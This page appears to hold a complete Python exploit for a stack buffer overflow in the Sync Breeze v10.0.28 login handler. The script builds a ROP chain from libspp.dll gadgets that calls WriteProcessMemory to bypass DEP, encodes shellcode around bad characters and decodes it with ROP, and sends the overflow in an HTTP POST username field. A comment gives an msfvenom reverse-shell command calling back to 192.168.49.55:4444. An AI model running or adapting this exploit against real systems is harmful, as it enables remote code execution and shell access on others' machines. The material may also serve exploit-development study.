Sync Breeze v10.0.28

Application created by Flexsense. Exploit by DS.

Stack Buffer Overflow RCE (DEP) (Uses WriteProcessMemory plus a ROP shellcode encoder to bypass DEP)

#!/usr/bin/python 
import socket 
import sys 
from struct import pack

#offset from IAT entry 433010 GetProcessHeapStub to WriteProcessMemoryStub = 00015c30 
def mapBadChars(sh):
  BADCHARS = b"\x00\x0d\x0a\x25\x26\x2b\x3d"
  i = 0
  badIndex = []  
  while i < len(sh):
    for c in BADCHARS:
      if sh[i] == c:
        badIndex.append(i)
    i=i+1
  print(badIndex)
  return badIndex

def encodeShellcode(sh):
  BADCHARS = b"\x00\x0d\x0a\x25\x26\x2b\x3d"
  REPLACECHARS = b"\xff\x0c\x10\x23\x24\x2a\x3c"
  encodedShell = sh
  for i in range(len(BADCHARS)):
    encodedShell = encodedShell.replace(pack("B", BADCHARS[i]), pack("B", REPLACECHARS[i]))
  return encodedShell

def decodeShellcode(badIndex, shellcode):
  pop_eax = 0x1002f729  # pop eax; ret;  :: libspp.dll 
  neg_eax = 0x1005a3e6  # neg eax; ret;  :: libspp.dll   
  pop_ebx = 0x10097bfe # pop ebx; ret;  :: libspp.dll  
  add_eax_edx = 0x1003f9f9  # add eax, edx; retn 0x0004 
  xchg_eax_edx = 0x100cb4d4  # xchg eax, edx; ret;  :: libspp.dll  
  
  BADCHARS = b"\x00\x0d\x0a\x25\x26\x2b\x3d"
  CHARSTOADD = b"\x01\x01\x01\x02\x02\x01\x01"
  restoreRop = b""
  for i in range(len(badIndex)):
    if i == 0:
      offset = badIndex[i]
    else:
      offset = badIndex[i] - badIndex[i-1]
    neg_offset = (-offset) & 0xffffffff
    value = 0
    for j in range(len(BADCHARS)):
      if shellcode[badIndex[i]] == BADCHARS[j]:
        value = CHARSTOADD[j]

    value = (value << 8) | 0x11110011
    restoreRop += pack("<L", (pop_eax))    # pop ecx ; ret
    restoreRop += pack("<L", (neg_offset))
    restoreRop += pack("<L", (neg_eax)) # sub eax, ecx ; pop ebx ; ret
    restoreRop += pack("<L", add_eax_edx)
    restoreRop += pack("<L", xchg_eax_edx)
    restoreRop += pack("<L", 0x42424242) #junk for ret 0x04
    restoreRop += pack("<L" , (pop_ebx))
    restoreRop += pack("<L", (value))               # values in BH
    restoreRop += pack("<L", (0x10139ad1))   # add byte ptr [edx], bh ; ret

  return restoreRop

def buildRop(badindex, shellcode):
    #code cave in libspp at 10167b10  
    '''
    Skeleton for WPM call:
    wpm  = pack("<L", (WPMAddr))               # WriteProcessMemory Address 
    wpm += pack("<L", (dllBase + 0x92c04))  # Shellcode Return Address 
    wpm += pack("<L", (0xFFFFFFFF))               # pseudo Process handle 
    wpm += pack("<L", (0x10167b10))  # Code cave address  
    wpm += pack("<L", (0x41414141))               # dummy lpBuffer (Stack address)  
    wpm += pack("<L", (0x42424242))               # dummy nSize 
    wpm += pack("<L", (dllBase + 0xe401c))  # lpNumberOfBytesWritten 
    '''

    dref_eax =  0x1014dc4c  # mov eax, dword ptr [eax]; ret;  :: libspp.dll   
    pop_eax = 0x1002f729  # pop eax; ret;  :: libspp.dll 
    neg_eax = 0x1005a3e6  # neg eax; ret;  :: libspp.dll    
    sub_esp_eax = 0x1013f94c  # sub esp, eax; adc edx, [eax]; ret 
    junk = 0x42424242
    pop_esp = 0x100e1d05  # pop esp; ret;  :: libspp.dll  
    call_eax = 0x1013abf2  # push ecx; call eax; add esp, 0x14; ret;
    push_esp_pop_esi = 0x10136ab5  # push esp; and al, 8; pop esi; add esp, 8; ret;
    mov_eax_esi = 0x101028ad  # mov eax, esi; pop edi; pop esi; ret; 
    xchg_eax_edx = 0x100cb4d4  # xchg eax, edx; ret;  :: libspp.dll 
    add_edx_ebx = 0x1015734e  # add edx, ebx; pop ebx; ret 0x10; 
    write_edx = 0x1012d24e  # mov dword ptr [edx], eax; ret;  :: libspp.dll 
    sub_eax_ebp = 0x1014c168  # sub eax, ebp; pop esi; pop ebp; pop ebx; ret; 
    pop_ebp = 0x1005e9f5  # pop ebp; ret;  :: libspp.dll  
    add_edx_4 = 0x10150eb2  # add edx, 0x04; pop esi; mov eax, edx; ret 
    code_cave = 0x10167b10
    add_eax_b = 0x1014c4cb  # add eax, 0xb; pop ebx; ret; 
    add_eax_4 = 0x10140f33  # add eax, 0x04; pop esi; ret 
    add_eax_edx = 0x1003f9f9  # add eax, edx; retn 0x0004 
    xchg_eax_esp = 0x101394a9  # xchg eax, esp; ret;  :: libspp.dll 
    xchg_eax_ebp = 0x100cdc7a  # xchg eax, ebp; ret;  :: libspp.dll

    def pk(x): return pack("<L", x)
    
    rop = b""
    #move ESP into EDX
    rop += pk(push_esp_pop_esi)
    rop += pk(junk)
    rop += pk(junk)
    rop += pk(junk)
    rop += pk(mov_eax_esi)
    rop += pk(junk)
    rop += pk(junk)
    rop += pk(xchg_eax_edx)

    #Deref and write WPM address
    rop += pk(pop_eax)
    rop += pk(0xFFBCCFF0) #IAT address at 0 - 433010
    rop += pk(neg_eax)
    rop += pk(dref_eax)
    rop += pk(pop_ebp)
    rop += pk(0xFFFEA3D0) #0 - offset to WPM(00015c30)
    rop += pk(sub_eax_ebp)
    rop += pk(junk)
    rop += pk(junk)
    rop += pk(junk)
    rop += pk(write_edx)

    #Inc EDX
    rop += pk(add_edx_4)
    rop += pk(junk)

    #Write ret addr (code cave)
    rop += pk(pop_eax)
    rop += pk(code_cave)
    rop += pk(write_edx)

    #Inc EDX
    rop += pk(add_edx_4)
    rop += pk(junk)

    #Write handle
    rop += pk(pop_eax)
    rop += pk(0xFFFFFFFF)
    rop += pk(write_edx)

    #Inc EDX
    rop += pk(add_edx_4)
    rop += pk(junk)

    #Write code cave
    rop += pk(pop_eax)
    rop += pk(code_cave)
    rop += pk(write_edx)

    #Inc EDX
    rop += pk(add_edx_4)
    rop += pk(junk)

    #Write lpBuffer(shellcode stack addr)
    rop += pk(pop_eax)
    rop += pk(0xFFFFFC80) #0-3A4  MAY NEED TO UPDATE BASED ON SHELLCODE / BAD CHARS
    rop += pk(neg_eax) 
    rop += pk(add_eax_edx)
    rop += pk(write_edx)
    rop += pk(junk)
    
    #===DECODE SHELLCODE===
    rop += pk(xchg_eax_edx) # edx -> shellcode
    rop += pk(xchg_eax_ebp) # ebp -> staging area
    encodedRop = decodeShellcode(badindex, shellcode)
    print(encodedRop)
    rop += encodedRop
    rop += pk(xchg_eax_ebp) # ebp -> staging area
    rop += pk(xchg_eax_edx) # edx -> staging area


    #Inc EDX
    rop += pk(add_edx_4)
    rop += pk(junk)

    #Write nsize
    rop += pk(pop_eax)
    rop += pk(0xFFFFFB67) #499 bytes
    rop += pk(neg_eax)
    rop += pk(write_edx)

    #Inc EDX
    rop += pk(add_edx_4)
    rop += pk(junk)

    #Write lpNumberOfBytesWritten (stack addr)
    rop += pk(push_esp_pop_esi)
    rop += pk(junk)
    rop += pk(junk)
    rop += pk(mov_eax_esi)
    rop += pk(junk)
    rop += pk(junk)
    rop += pk(write_edx)

    #Return EDX to the start of the call and move it to ESP to execute
    rop += pk(pop_eax)
    rop += pk(0xFFFFFFE8) #0-18
    rop += pk(add_eax_edx)
    rop += pk(xchg_eax_esp)
    rop += pk(junk)
    
    return rop


try: 
  #shellcode here max 498 bytes
  #msfvenom -p windows/shell_reverse_tcp LHOST=192.168.49.55 LPORT=4444 -b "\x00\x0d\x0a\x25\x26\x2b\x3d" -f python -v shellcode 
  shellcode = b""

  badIndex = mapBadChars(shellcode)
  encodedShell = encodeShellcode(shellcode)

  server = sys.argv[1] 
  port = 80 
  size = 3000
  offset = 780 
  #badchars = \x0d\x0a\x25\x26\x2b\x3d
  #EIP offset 780
  pad = b"A" * offset
  rop = buildRop(badIndex, shellcode)
  eip = rop
  #shellcode starts at offset 2c
  encodedShell = (b"A" * 0x2c) + encodedShell
  inputBuffer = pad + eip + encodedShell
  inputBuffer += b"A" * (size-len(inputBuffer)) 
  content = b"username=" + inputBuffer + b"&password=A" 
 
  buffer = b"POST /login HTTP/1.1\r\n" 
  buffer += b"Host: " + server.encode() + b"\r\n" 
  buffer += b"User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n" 
  buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" 
  buffer += b"Accept-Language: en-US,en;q=0.5\r\n" 
  buffer += b"Referer: http://192.168.49.55/login\r\n" 
  buffer += b"Connection: close\r\n" 
  buffer += b"Content-Type: application/x-www-form-urlencoded\r\n" 
  buffer += b"Content-Length: "+ str(len(content)).encode() + b"\r\n" 
  buffer += b"\r\n" 
  buffer += content 
 
  print("Sending evil buffer...") 
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
  s.connect((server, port)) 
  s.send(buffer) 
  s.close() 
   
  print("Done!") 
   
except socket.error: 
  print("Could not connect!") 
ROP Gadgets

Last updated

Was this helpful?